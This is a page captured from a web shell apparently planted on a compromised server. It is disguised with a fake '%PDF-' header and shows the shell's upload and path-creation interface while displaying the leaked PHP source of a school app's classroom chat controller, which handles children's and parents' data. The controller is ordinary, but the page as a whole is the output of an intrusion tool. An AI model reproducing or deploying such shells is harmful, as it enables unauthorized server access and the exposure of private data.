%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/camillo/camillo-api-master/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : //var/www/html/camillo/camillo-api-master/app/Http/Controllers/Api/v1/ClassroomChatController.php

<?php
/**
 * Created by PhpStorm.
 * User: giovannibisconti
 * Date: 12/12/18
 * Time: 11:20
 */

namespace App\Http\Controllers\Api\v1;

use App\Enums\UsertypeEnum;
use App\Http\Controllers\Controller;
use App\Http\Resources\MinorRelativeResource;
use App\Models\Classroom;
use App\Models\Usertype;
use App\Traits\ApiUser;
use App\User;
use Chatkit\Chatkit;
use Symfony\Component\HttpKernel\Exception\HttpException;
use Illuminate\Http\Request;
use Illuminate\Http\Response;

class ClassroomChatController extends Controller
{
    use ApiUser;

    /**
     * @param \Illuminate\Http\Request $request
     * @param                          $classroom
     *
     * @return \Illuminate\Http\JsonResponse
     * @throws \Chatkit\Exceptions\MissingArgumentException
     * @throws \Chatkit\Exceptions\TypeMismatchException
     */
    public function store(Request $request, $classroom)
    {
        /** @var User $user */
        $user = $this->getLoggedUser();
        /** @var Classroom $classroom */
        $classroom = Classroom::findOrFail($classroom);
        $minor = $classroom->minors()->wherePivot('active', true)->whereHas('individuals', function ($i) use ($user) {
            $i->where('user_id', $user->id);
        })->exists();
        if (!$user->active) {
            throw new HttpException(Response::HTTP_PRECONDITION_FAILED, __("Utente non attivo"));
        }
        if (!$minor && $user->usertype->role !== UsertypeEnum::TEACHER) {
            throw new HttpException(Response::HTTP_PRECONDITION_FAILED, __("classroom not associated with user"));
        }
        if (!$user->individual->show_contacts) {
            throw new HttpException(Response::HTTP_PRECONDITION_FAILED, __("no permission to show user contacts"));
        }
        $chatkit = new Chatkit([
            'instance_locator' => env('PUSHER_APP_KEY'),
            'key'              => env('PUSHER_APP_SECRET'),
        ]);

        $chatkitUsers = $chatkit->getUsersByID([
            'user_ids' => [$user->email]
        ]);
        if (count($chatkitUsers['body']) === 0) {
            $chatkitUser = $chatkit->createUser([
                'id'   => $user->email,
                'name' => $user->individual->name . ' ' . $user->individual->surname
            ]);
            $chatkit->assignGlobalRoleToUser([
                'user_id' => $user->email,
                'name' => $user->usertype->role === UsertypeEnum::TEACHER ? 'teacher' : 'user'
            ]);
            $user->update([
                'pusher_id' => $chatkitUser['body']['id']
            ]);
        }

        if ($classroom->pusher_id) {
            $room = $chatkit->getRoom(['id' => $classroom->pusher_id]);
        }
        if (!isset($room) || isset($room['body']['deleted_at'])) {
            $admin = User::whereHas('usertype', function($u) {
                $u->where('role', 'admin');
            })->first();
            $room = $chatkit->createRoom([
                'creator_id'  => $admin->email,
                'name'        => $classroom->class_name . '-' . $classroom->schoolyear->description,
                'user_ids'    => [$user->pusher_id],
                'private'     => true,
                'custom_data' => [
                    'start_date' => $classroom->schoolyear->start_date,
                    'end_date'   => $classroom->schoolyear->end_date
                ],
            ]);
            $classroom->update([
                'pusher_id' => $room['body']['id']
            ]);
        }
        else {
            if (!in_array($user->email, $room['body']['member_user_ids'])) {
                $chatkit->addUsersToRoom([
                    'user_ids' => [$user->pusher_id],
                    'room_id'  => $classroom->pusher_id
                ]);
            }
        }

        $room = $chatkit->getRoom(['id' => $classroom->pusher_id]);
        $data = [
            'pusher_id' => $user->pusher_id,
            'room_name' => $classroom->class_name,
            'room' => $room['body'],
            'participants' => collect()
        ];
        foreach ($room['body']['member_user_ids'] as $memberUserId) {
            /** @var \App\User $participant */
            $participant = User::where('pusher_id', $memberUserId)->first();
            if ($participant && $participant->usertype->role !== 'admin') {
                $data['participants']->push([
                    'name' => $participant->individual->name,
                    'surname' => $participant->individual->surname,
                    'role' => $participant->usertype->role,
                    'relatives' => MinorRelativeResource::collection($participant->individual->minors()->whereHas('classrooms', function ($c) use ($classroom) {
                        $c->where('classroom_id', $classroom->id);
                        $c->where('active', true);
                    })->get())
                ]);
            }
        }
        return response()->json($data, Response::HTTP_OK);

    }
}

Zerion Mini Shell 1.0